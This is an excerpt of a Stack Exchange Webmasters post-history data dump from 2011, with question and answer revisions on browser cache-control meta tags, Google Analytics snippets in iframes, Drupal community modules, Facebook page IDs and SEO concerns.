  <row Id="44573" PostHistoryTypeId="5" PostId="18343" RevisionGUID="e9cfd11a-6a78-4472-a2d2-8b8efc86c256" CreationDate="2011-08-17T07:55:48.473" UserId="7198" Comment="typos, formatting" Text="I'd like to move a WP installation from a subdomain to its own without losing the PageRank achieved by that subdomain.&#xD;&#xA;&#xD;&#xA;What are the best steps in order to do this properly? Especially how do I set the redirects properly?&#xD;&#xA;" />
  <row Id="44574" PostHistoryTypeId="4" PostId="18343" RevisionGUID="e9cfd11a-6a78-4472-a2d2-8b8efc86c256" CreationDate="2011-08-17T07:55:48.473" UserId="7198" Comment="typos, formatting" Text="Moving a WordPress installation from a subdomain to its own domain without losing PageRank" />
  <row Id="44575" PostHistoryTypeId="2" PostId="18351" RevisionGUID="15c5f904-bdea-4999-bf7f-ce79fdafc46b" CreationDate="2011-08-17T08:14:51.423" UserId="9647" Text="I have an issue where the newest content of a local HTML file is sometimes not displayed. Instead, the browser shows a cached version. The workaround is to press &lt;Ctrl&gt;+&lt;F5&gt; but I'd like to resolve this programmatically.&#xD;&#xA;&#xD;&#xA;Specifically, I download an HTML file and open it in my browser. Later I download a newer version of the file (with the same file name). The newer file has different content but some browsers, sometimes still show the old content from the cache. I'm having trouble consistently reproducing the error but when it occurs it's very irritating.&#xD;&#xA;&#xD;&#xA;I've found two possible solutions but because of the difficulty reproducing the error, I can't confirm that either of them are correct.&#xD;&#xA;&#xD;&#xA;One possible solution is the following Javascript:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    window.location.reload(true);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Another is the following metatags:&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;Tue, 01 Jan 1980 1:00:00 GMT&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Pragma&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Cache-Control&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;&#xD;&#xA;Is it this simple? If so, does it work for Ch, IE &amp; FF?&#xD;&#xA;&#xD;&#xA;Is there a totally different solution that I've missed?" />
  <row Id="44576" PostHistoryTypeId="1" PostId="18351" RevisionGUID="15c5f904-bdea-4999-bf7f-ce79fdafc46b" CreationDate="2011-08-17T08:14:51.423" UserId="9647" Text="When opening a local HTML file, how do I ensure I get the content not a cached version?" />
  <row Id="44577" PostHistoryTypeId="3" PostId="18351" RevisionGUID="15c5f904-bdea-4999-bf7f-ce79fdafc46b" CreationDate="2011-08-17T08:14:51.423" UserId="9647" Text="&lt;html&gt;&lt;javascript&gt;" />
  <row Id="44578" PostHistoryTypeId="2" PostId="18352" RevisionGUID="1d4b524a-b493-4cee-bc40-9adbdcaa8b9f" CreationDate="2011-08-17T08:30:11.290" UserId="9123" Text="There are two easy ways to get your fanpage ID:&#xD;&#xA;&#xD;&#xA;**You have less than 25 fans:**&#xD;&#xA;&#xD;&#xA;    Your fanpage ID is appended to your fanpage URL.&#xD;&#xA;    Example: http://www.facebook.com/pages/Social-Media/155188264543525&#xD;&#xA;    Your fanpage ID would be: 155188264543525&#xD;&#xA;&#xD;&#xA;**You have more than 25 fans and have set your vanity URL:**&#xD;&#xA;&#xD;&#xA;    Browse to https://graph.facebook.com/YOURPAGENAME&#xD;&#xA;    Example: https://graph.facebook.com/ULTRAGEIL&#xD;&#xA;    The first two lines of the output shows:&#xD;&#xA;    {&#xD;&#xA;    &quot;id&quot;: &quot;116645905081622&quot;,&#xD;&#xA;    Your fanpage ID would be: 116645905081622" />
  <row Id="44579" PostHistoryTypeId="5" PostId="18351" RevisionGUID="ffa3d4f3-9185-4780-a35f-14b35c22edd2" CreationDate="2011-08-17T08:35:38.567" UserId="221" Comment="added 4 characters in body" Text="I have an issue where the newest content of a local HTML file is sometimes not displayed. Instead, the browser shows a cached version. The workaround is to press `&lt;Ctrl&gt;`+`&lt;F5&gt;` but I'd like to resolve this programmatically.&#xD;&#xA;&#xD;&#xA;Specifically, I download an HTML file and open it in my browser. Later I download a newer version of the file (with the same file name). The newer file has different content but some browsers, sometimes still show the old content from the cache. I'm having trouble consistently reproducing the error but when it occurs it's very irritating.&#xD;&#xA;&#xD;&#xA;I've found two possible solutions but because of the difficulty reproducing the error, I can't confirm that either of them are correct.&#xD;&#xA;&#xD;&#xA;One possible solution is the following Javascript:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    window.location.reload(true);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Another is the following metatags:&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;Tue, 01 Jan 1980 1:00:00 GMT&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Pragma&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Cache-Control&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;&#xD;&#xA;Is it this simple? If so, does it work for Ch, IE &amp; FF?&#xD;&#xA;&#xD;&#xA;Is there a totally different solution that I've missed?" />
  <row Id="44580" PostHistoryTypeId="5" PostId="1549" RevisionGUID="4fa67b0c-432e-4f1f-a0e1-7dcc7f5ebd31" CreationDate="2011-08-17T09:13:04.713" UserId="4502" Comment="Updated link to drupal.org project page, since current link is broken. Project seems abandoned, but just in case." Text="There is a software called [Drigg][1], which is based on Drupal. However, if you don't know PHP, you may find a Drupal website difficult to set up.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/drigg" />
  <row Id="44581" PostHistoryTypeId="2" PostId="18353" RevisionGUID="017f1ee3-52e8-4995-a89b-0efebc1b7572" CreationDate="2011-08-17T09:21:54.110" UserId="7198" Text="To ensure content isn't cached, use `no-store` and `must-revalidate` in addition to the attributes you suggest. i.e.:&#xD;&#xA;&#xD;&#xA;    &lt;meta http-equiv=&quot;Cache-Control&quot; content=&quot;no-cache, no-store, must-revalidate&quot;&gt;&#xD;&#xA;    &lt;meta http-equiv=&quot;Pragma&quot; content=&quot;no-cache&quot;&gt; &#xD;&#xA;    &lt;meta http-equiv=&quot;Expires&quot; content=&quot;0&quot;&gt;&#xD;&#xA;&#xD;&#xA;An explanation of those terms, from Mark Nottingham's [Caching Tutorial](http://www.mnot.net/cache_docs/#CACHE-CONTROL) (also see the [official spec](http://www.ietf.org/rfc/rfc2616.txt)):&#xD;&#xA;&#xD;&#xA;- **no-cache** — forces caches to submit the request to the origin server for validation before releasing a cached copy, every time. This is useful to assure that authentication is respected (in combination with public), or to maintain rigid freshness, without sacrificing all of the benefits of caching.&#xD;&#xA;- **no-store** — instructs caches not to keep a copy of the representation under any conditions.&#xD;&#xA;- **must-revalidate** — tells caches that they must obey any freshness information you give them about a representation. HTTP allows caches to serve stale representations under special conditions; by specifying this header, you’re telling the cache that you want it to strictly follow your rules.&#xD;&#xA;&#xD;&#xA;Reading these descriptions, you might think that including 'no-store' alone might be enough, but it's best to use all three in cases where you hope to ensure that no caching at all takes place.&#xD;&#xA;&#xD;&#xA;You can simply set the `Expires` header to '0' to denote that it has expired. You need not use a full date and time.&#xD;&#xA;&#xD;&#xA;The `Pragma` header is not used by modern (HTTP/1.1) caches, but [W3C recommend](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.32) that you include both `Cache-Control` and `Pragma` because older (HTTP/1.0) caching mechanisms don't support `Cache-Control`.&#xD;&#xA;&#xD;&#xA;It's better to attempt to control caching with headers, and the above should work for all browsers. (The JavaScript you posted reloads the page, but this alone will not necessarily force a fresh copy of the content to be fetched.)" />
  <row Id="44582" PostHistoryTypeId="25" PostId="18351" RevisionGUID="7f5772f9-0f1c-4780-864b-ac943e1a258b" CreationDate="2011-08-17T09:34:49.110" Comment="http://twitter.com/#!/StackWebmasters/status/103761690549682176" />
  <row Id="44583" PostHistoryTypeId="2" PostId="18354" RevisionGUID="77a1bc84-17b8-4b78-b342-cda5701ec94a" CreationDate="2011-08-17T09:35:09.267" UserId="4502" Text="Unless something's changed since &lt;a href=&quot;http://blog.facebook.com/blog.php?post=384733792130&quot;&gt;this follow-up post&lt;/a&gt; to their social graph announcement, you can't. Except for people who are your FB friends. There's a lot of information, but you're primarily interested in these sections:&#xD;&#xA;&#xD;&#xA;* What information about me does Facebook share with the websites hosting social plugins?, and&#xD;&#xA;* Will people beyond my friends see what I like or recommend?" />
  <row Id="44585" PostHistoryTypeId="2" PostId="18356" RevisionGUID="7264608f-bd0f-46df-aded-ca6dc0897d51" CreationDate="2011-08-17T09:45:15.007" UserId="4502" Text="&lt;a href=&quot;http://www.asmallorange.com/hosting/shared/&quot;&gt;A Small Orange&lt;/a&gt; offer ssh on their shared plans. The &quot;Small&quot; option is $5/month, and if you really want to be cheap the &quot;Tiny&quot; is $25/year(yes, really).&#xD;&#xA;&#xD;&#xA;If you want a VPS, your best bet is to grab the feed from &lt;a href=&quot;http://www.lowendbox.com/&quot;&gt;Low End Box&lt;/a&gt; and wait for something to show up; it's updated all the time. There are several ~$5/mo options listed right now." />
  <row Id="44586" PostHistoryTypeId="5" PostId="18299" RevisionGUID="2e2d0440-0f30-496d-b019-df1258391683" CreationDate="2011-08-17T09:50:39.847" UserId="1803" Comment="added 4 characters in body" Text="Maybe [BuddyPress][1] for Wordpress is something for you. It's a social networking plugin, which may be combined with any other WP-plugins.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://wordpress.org/extend/plugins/buddypress/" />
  <row Id="44589" PostHistoryTypeId="17" PostId="18359" RevisionGUID="ef855b9f-2c2c-4664-9c37-fd31ff2114a0" CreationDate="2011-08-17T10:44:36.190" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18182/when-opening-a-local-html-file-how-do-i-ensure-i-get-the-content-not-a-cached-ve" Text="" />
  <row Id="44590" PostHistoryTypeId="2" PostId="18359" RevisionGUID="95ed592e-f531-4d2e-b3c0-51dfb7deeb7b" CreationDate="2011-08-17T08:13:41.240" UserId="9647" Text="I have an issue where the newest content of a local HTML file is sometimes not displayed. Instead, the browser shows a cached version. The workaround is to press &lt;Ctrl&gt;+&lt;F5&gt; but I'd like to resolve this programmatically.&#xD;&#xA;&#xD;&#xA;Specifically, I download an HTML file and open it in my browser. Later I download a newer version of the file (with the same file name). The newer file has different content but some browsers, sometimes still show the old content from the cache. I'm having trouble consistently reproducing the error but when it occurs it's very irritating.&#xD;&#xA;&#xD;&#xA;I've found two possible solutions but because of the difficulty reproducing the error, I can't confirm that either of them are correct.&#xD;&#xA;&#xD;&#xA;One possible solution is the following Javascript:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    window.location.reload(true);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Another is the following metatags:&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;Tue, 01 Jan 1980 1:00:00 GMT&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Pragma&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Cache-Control&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;&#xD;&#xA;Is it this simple? If so, does it work for Ch, IE &amp; FF?&#xD;&#xA;&#xD;&#xA;Is there a totally different solution that I've missed?" />
  <row Id="44591" PostHistoryTypeId="1" PostId="18359" RevisionGUID="95ed592e-f531-4d2e-b3c0-51dfb7deeb7b" CreationDate="2011-08-17T08:13:41.240" UserId="9647" Text="When opening a local HTML file, how do I ensure I get the content not a cached version?" />
  <row Id="44592" PostHistoryTypeId="3" PostId="18359" RevisionGUID="95ed592e-f531-4d2e-b3c0-51dfb7deeb7b" CreationDate="2011-08-17T08:13:41.240" UserId="9647" Text="&lt;html&gt;" />
  <row Id="44593" PostHistoryTypeId="2" PostId="18360" RevisionGUID="6b9b24b1-7d1d-44d4-a32d-b71c43c759a4" CreationDate="2011-08-17T12:18:59.357" UserId="6519" Text="I need to write a simple database editor and I like the customizable Admin pages of Django. I still wonder if there is an alternative that would allow me to define my models (or use something like SQLAlchemy) and show me a simple admin page where I could read, write, and create my records like Django." />
  <row Id="44594" PostHistoryTypeId="1" PostId="18360" RevisionGUID="6b9b24b1-7d1d-44d4-a32d-b71c43c759a4" CreationDate="2011-08-17T12:18:59.357" UserId="6519" Text="Alternative to Django Admin pages" />
  <row Id="44595" PostHistoryTypeId="3" PostId="18360" RevisionGUID="6b9b24b1-7d1d-44d4-a32d-b71c43c759a4" CreationDate="2011-08-17T12:18:59.357" UserId="6519" Text="&lt;database&gt;&lt;django&gt;" />
  <row Id="44596" PostHistoryTypeId="2" PostId="18361" RevisionGUID="7ec3b4ef-e554-4c02-90ca-d23ee8fc6133" CreationDate="2011-08-17T12:26:39.423" UserId="7964" Text="Not sure if you haven't looked at it but there is a drupal/pligg module, called [drigg][1], that tries to reproduce what pligg does.&#xD;&#xA;&#xD;&#xA;Unfortunately, due to the lack of participation the module hasn't picked up speed. There isn't even a version for 7 yet.&#xD;&#xA;&#xD;&#xA;If you're interested in participating there seems to be a thread about reviving development: http://drupal.org/node/528518&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/drigg&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44597" PostHistoryTypeId="25" PostId="18346" RevisionGUID="14d627c2-9539-47f8-9769-b3a7530e092e" CreationDate="2011-08-17T12:34:50.110" Comment="http://twitter.com/#!/StackWebmasters/status/103806991746609153" />
  <row Id="44598" PostHistoryTypeId="5" PostId="18361" RevisionGUID="11da18ac-1f8a-4522-8d3f-87ac76c33eda" CreationDate="2011-08-17T12:36:10.560" UserId="7964" Comment="added 1169 characters in body" Text="Drupal actually offers lots of community based modules and/or plugins:&#xD;&#xA;&#xD;&#xA;**Drigg Solution**&#xD;&#xA;&#xD;&#xA;Not sure if you looked at it but there is a drupal/pligg module, called [drigg][1], that tries to reproduce what pligg does.&#xD;&#xA;&#xD;&#xA;Unfortunately, due to the lack of participation the module hasn't picked up speed. There isn't even a version for 7 yet.&#xD;&#xA;&#xD;&#xA;If you're interested in participating there seems to be a thread about reviving development: http://drupal.org/node/528518&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Drupal Commons**&#xD;&#xA;&#xD;&#xA;If you're not needing something like voting akin to pligg. You may want to check out the drupal commons distro. &#xD;&#xA;&#xD;&#xA;From the [project page][2]:&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;&#xD;&#xA;&gt; Commons is a ready-to-use solution for building either internal or&#xD;&#xA;&gt; external communities. It provides a complete social business software&#xD;&#xA;&gt; solution for organizations.&#xD;&#xA;&gt;     &#xD;&#xA;&gt; Commons helps organize content into topic (organic) groups with&#xD;&#xA;&gt; blog, discussion, document, wiki, and event content types. It also&#xD;&#xA;&gt; allows users to create (user) relationships with each other in order&#xD;&#xA;&gt; to follow each other's activities on a site. Authenticated users can&#xD;&#xA;&gt; view a personalized dashboard containing content from all their&#xD;&#xA;&gt; subscribed groups. Site owners can quickly and easily change the theme&#xD;&#xA;&gt; (powered by Fusion from Top Notch Themes) to incorporate their own&#xD;&#xA;&gt; branding. Plus many other features for community-building.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This module has been picked up at acquia, thus it is downloaded [directly from their site][3] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://drupal.org/project/drigg&#xD;&#xA;  [2]: http://drupal.org/project/commons&#xD;&#xA;  [3]: http://network.acquia.com/downloads/drupal-commons" />
  <row Id="44600" PostHistoryTypeId="2" PostId="18362" RevisionGUID="19427f15-3dd1-48bc-86de-b11cdd60ad6f" CreationDate="2011-08-17T13:18:34.673" UserId="9123" Text="Interessting. Your scripts seems to do three things:&#xD;&#xA;&#xD;&#xA;1. Add the GA snippet to the non-iframe page and execute the pagetracker&#xD;&#xA;2. Add some fishy looking code insertion on gaq.push&#xD;&#xA;3. Add the GA snippet to the iframe page and execute the pagetracker&#xD;&#xA;&#xD;&#xA;Essentially what you need for the non-iframe is this:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XYZXYZ-XY']);&#xD;&#xA;    _gaq.push(['_setDomainName', 'blackangus.com']);&#xD;&#xA;    _gaq.push(['_setAllowHash', 'false']);&#xD;&#xA;    _gaq.push(['_setAllowLinker', true]);&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;    (function() {&#xD;&#xA;    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;   &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;and the exact same to your iframe-page (since it's not located at blackangus.com):&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    var _gaq = _gaq || [];&#xD;&#xA;    _gaq.push(['_setAccount', 'UA-XYZXYZ-XY']);&#xD;&#xA;    _gaq.push(['_setDomainName', 'blackangus.com']);&#xD;&#xA;    _gaq.push(['_setAllowHash', 'false']);&#xD;&#xA;    _gaq.push(['_setAllowLinker', true]);&#xD;&#xA;    _gaq.push(['_trackPageview']);&#xD;&#xA;&#xD;&#xA;    (function() {&#xD;&#xA;    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;&#xD;&#xA;    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';&#xD;&#xA;    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);&#xD;&#xA;    })();&#xD;&#xA;   &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;But, this will count as two pageviews in your GA setup, since the iframe will also trigger a pageview. You need to setup a filter, which filters out the double pageviews.&#xD;&#xA;&#xD;&#xA;And yes, you need to wait a couple of hours until the first results are displayed. Usually around 24 hours." />
  <row Id="44601" PostHistoryTypeId="2" PostId="18363" RevisionGUID="8f8ccc3c-4f93-413d-a6bc-0aba0ce0c223" CreationDate="2011-08-17T13:33:06.693" UserId="9123" Text="One often overlooked strategy for online shops would be to set up affiliate marketing. Go to the top 5 affiliate networks, set up your database and let blogs, niche sites and others link to your content naturally (whilst making a small commission on sales).&#xD;&#xA;&#xD;&#xA;That way you could get dozens, if not even thousands, of sites naturally linking to different shop categories, product pages, etc. making a massive impact on your SEO. Also setting up promo-codes and deals lets these deal-sites and code-sites jump on your offers and linking back to your site (with the benefit of additional traffic) ;)" />
  <row Id="44602" PostHistoryTypeId="2" PostId="18364" RevisionGUID="518d176f-0bd2-43f1-9649-b609424b0162" CreationDate="2011-08-17T13:56:17.170" UserId="9123" Text="To be able to assign a vanity URL for a Facebook page, you need to get 25 fans first. When you reach that goal, a new setting pops up in your fanpage settings, allowing you to set your Vanity URL.&#xD;&#xA;&#xD;&#xA;Be careful though: Once set, there is no way to change the vanity URL again." />
  <row Id="44603" PostHistoryTypeId="2" PostId="18365" RevisionGUID="ab1fc0e0-f6d4-4ae3-8790-d3a94052d483" CreationDate="2011-08-17T14:01:07.787" UserId="8681" Text="I was developing a website on a certain web host and they lost everything. They told me their disks crashed and even the backup are unretrievable. I am mad.&#xD;&#xA;&#xD;&#xA;As I was often accessing my website through my personal browser, is there any way I can get the static webpages from my cache?&#xD;&#xA;&#xD;&#xA;I managed to find the css, pictures and js files from my local cache, but I would really want to also get back all the texts (content) that I've written.&#xD;&#xA;&#xD;&#xA;The webpages were generated dynamically (php) from a database (mysql) so I found no html files containing the text for each of my pages.&#xD;&#xA;&#xD;&#xA;Is there a way I can get these texts or any trace of html source for my webpages..?&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="44604" PostHistoryTypeId="1" PostId="18365" RevisionGUID="ab1fc0e0-f6d4-4ae3-8790-d3a94052d483" CreationDate="2011-08-17T14:01:07.787" UserId="8681" Text="Retrieve static webpage on client cache from dynamic content" />
  <row Id="44605" PostHistoryTypeId="3" PostId="18365" RevisionGUID="ab1fc0e0-f6d4-4ae3-8790-d3a94052d483" CreationDate="2011-08-17T14:01:07.787" UserId="8681" Text="&lt;php&gt;&lt;cache&gt;" />
  <row Id="44606" PostHistoryTypeId="5" PostId="18363" RevisionGUID="f481a216-54e1-4cd6-a6d3-0173327f6f63" CreationDate="2011-08-17T14:03:53.243" UserId="9123" Comment="added more insight." Text="One often overlooked strategy for online shops would be to set up affiliate marketing. Go to the top 5 affiliate networks, set up your database and let blogs, niche sites and others link to your content naturally (whilst making a small commission on sales).&#xD;&#xA;&#xD;&#xA;That way you could get dozens, if not even thousands, of sites naturally linking to different shop categories, product pages, etc. making a massive impact on your SEO. Also setting up promo-codes and deals lets these deal-sites and code-sites jump on your offers and linking back to your site (with the benefit of additional traffic) ;)&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;Oh, and most of the affiliate sites should also be relevant to your product pages from a search engine point of view, leading to good SEO." />
  <row Id="44607" PostHistoryTypeId="2" PostId="18366" RevisionGUID="db6fed24-c9b3-4398-a620-255f0956f080" CreationDate="2011-08-17T15:28:43.337" UserId="9244" Text="Using Google Analytics, in the past week we've noticed an extremely high percentage of people visiting our pages and leaving after less than one second. In some cases they are leaving after zero seconds...&#xD;&#xA;&#xD;&#xA;Anyone versed in today's SEO knows that Google track's the &quot;time on site&quot; statistic and uses that to help determine their rankings in search.&#xD;&#xA;&#xD;&#xA;What we think is happening is that a competitor might be doing this intentionally. Setting up CURL scripts or something to continuously visit a site and leave immediately, thus hopefully lowering our search rankings eventually. Perhaps they are doing it from multiple IP addresses, we can't tell using Google Analytics (or can we?).&#xD;&#xA;&#xD;&#xA;Has anyone heard of this type of behavior? Is there a specific name for it? How do you combat it?&#xD;&#xA;&#xD;&#xA;We've been considering tracking the time-on-site using `window.load` and `window.unload` and then recording the visited time along with the IP address in order to determine the IP addresses that are causing the problems.&#xD;&#xA;&#xD;&#xA;Any clues?" />
  <row Id="44608" PostHistoryTypeId="1" PostId="18366" RevisionGUID="db6fed24-c9b3-4398-a620-255f0956f080" CreationDate="2011-08-17T15:28:43.337" UserId="9244" Text="Using scripts to visit site and leave immediately to lower Page Rank of competitors?" />
  <row Id="44609" PostHistoryTypeId="3" PostId="18366" RevisionGUID="db6fed24-c9b3-4398-a620-255f0956f080" CreationDate="2011-08-17T15:28:43.337" UserId="9244" Text="&lt;seo&gt;&lt;google&gt;&lt;search&gt;" />
  <row Id="44610" PostHistoryTypeId="4" PostId="374" RevisionGUID="795877c1-12cf-4e90-abff-0448910e3e4a" CreationDate="2011-08-17T15:32:20.953" UserId="4306" Comment="updated subject for clarity" Text="URLs: Should I use hyphens or underscores?" />
  <row Id="44611" PostHistoryTypeId="24" PostId="374" RevisionGUID="795877c1-12cf-4e90-abff-0448910e3e4a" CreationDate="2011-08-17T15:32:20.953" Comment="Proposed by 4306 approved by 108 edit id of 493" />
  <row Id="44612" PostHistoryTypeId="5" PostId="18359" RevisionGUID="acde4233-06a4-475e-beb7-76da5d8ee21f" CreationDate="2011-08-17T15:34:19.513" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [When opening a local HTML file, how do I ensure I get the content not a cached version?](http://webmasters.stackexchange.com/questions/18351/when-opening-a-local-html-file-how-do-i-ensure-i-get-the-content-not-a-cached-ve)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have an issue where the newest content of a local HTML file is sometimes not displayed. Instead, the browser shows a cached version. The workaround is to press &lt;Ctrl&gt;+&lt;F5&gt; but I'd like to resolve this programmatically.&#xD;&#xA;&#xD;&#xA;Specifically, I download an HTML file and open it in my browser. Later I download a newer version of the file (with the same file name). The newer file has different content but some browsers, sometimes still show the old content from the cache. I'm having trouble consistently reproducing the error but when it occurs it's very irritating.&#xD;&#xA;&#xD;&#xA;I've found two possible solutions but because of the difficulty reproducing the error, I can't confirm that either of them are correct.&#xD;&#xA;&#xD;&#xA;One possible solution is the following Javascript:&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    window.location.reload(true);&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Another is the following metatags:&#xD;&#xA;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Expires&quot; CONTENT=&quot;Tue, 01 Jan 1980 1:00:00 GMT&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Pragma&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;    &lt;META HTTP-EQUIV=&quot;Cache-Control&quot; CONTENT=&quot;no-cache&quot;&gt;&#xD;&#xA;&#xD;&#xA;Is it this simple? If so, does it work for Ch, IE &amp; FF?&#xD;&#xA;&#xD;&#xA;Is there a totally different solution that I've missed?" />
  <row Id="44613" PostHistoryTypeId="10" PostId="18359" RevisionGUID="5b2b8ef9-56fb-4e4f-9b9e-0920e96921e6" CreationDate="2011-08-17T15:34:18.517" UserId="108" CloseReasonId="1" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44614" PostHistoryTypeId="18" PostId="18359" RevisionGUID="2f62b756-5387-4b9e-b680-0be8addf4a83" CreationDate="2011-08-17T15:34:28.983" UserId="108" Comment="to http://webmasters.stackexchange.com/questions/18351/when-opening-a-local-html-file-how-do-i-ensure-i-get-the-content-not-a-cached-ve" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44615" PostHistoryTypeId="18" PostId="18351" RevisionGUID="2f62b756-5387-4b9e-b680-0be8addf4a83" CreationDate="2011-08-17T15:34:28.983" UserId="108" Comment="from http://webmasters.stackexchange.com/questions/18359/when-opening-a-local-html-file-how-do-i-ensure-i-get-the-content-not-a-cached-ve" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44616" PostHistoryTypeId="14" PostId="18359" RevisionGUID="4023d4c6-39bd-41f8-85bb-539a673b2e25" CreationDate="2011-08-17T15:34:29.827" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44617" PostHistoryTypeId="25" PostId="18366" RevisionGUID="c64a2b1b-cd12-4683-befe-57cddbaacdbb" CreationDate="2011-08-17T15:34:49.427" Comment="http://twitter.com/#!/StackWebmasters/status/103852288027795457" />
  <row Id="44619" PostHistoryTypeId="2" PostId="18367" RevisionGUID="3c1bbd70-08f9-4409-b398-fa99f1cbf830" CreationDate="2011-08-17T15:36:37.140" UserId="6033" Text="There are three ways google can track time on site that I know:&#xD;&#xA;&#xD;&#xA;1. Through chrome browser statistics&#xD;&#xA;2. Through google analtyics&#xD;&#xA;3. The amount of time between the click on your link in the SERP and the time between the next click on the same SERP (indicating the user visited your site then went back to the results page for another link). &#xD;&#xA;&#xD;&#xA;There have been a number of articles from google saying they don't use google analytics data in search ranking (will post when I find them again). That leaves chrome statistics and #3 above. Seriously manipulating chrome statistics would be a major chore for even advanced technology groups so it's unlikely this is the case.&#xD;&#xA;&#xD;&#xA;Finally you have no control over #3. &#xD;&#xA;&#xD;&#xA;In summary, I wouldn't sweat it because you can't control it and it's unlikely that doing the type of attack you're suggesting would accomplish anything." />
  <row Id="44620" PostHistoryTypeId="14" PostId="18276" RevisionGUID="4c9108ca-56e3-4c69-a61f-e7a38ae4eb6c" CreationDate="2011-08-17T15:37:13.767" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44621" PostHistoryTypeId="17" PostId="18276" RevisionGUID="4f8a49f1-b671-4fb6-b68f-ce87d452a935" CreationDate="2011-08-17T15:37:13.767" UserId="108" Comment="to http://ux.stackexchange.com/questions/10159/how-do-you-call-a-controll-that-gives-the-user-the-ability-to-match-two-lists" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44622" PostHistoryTypeId="10" PostId="18276" RevisionGUID="5bb13b76-3aae-44be-baf1-0bf84d286323" CreationDate="2011-08-17T15:37:12.083" UserId="108" CloseReasonId="2" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="44623" PostHistoryTypeId="5" PostId="18341" RevisionGUID="19fec568-4451-4809-a413-fefc9c331739" CreationDate="2011-08-17T15:38:45.327" UserId="108" Comment="added 59 characters in body" Text="You should disable inheritance. Look at this article, http://www.kowitz.net/archive/2007/05/16/stopping-asp-net-web-config-inheritance.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44624" PostHistoryTypeId="14" PostId="18204" RevisionGUID="93c48df2-5924-4e93-a281-be466f22d58f" CreationDate="2011-08-17T15:40:03.547" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
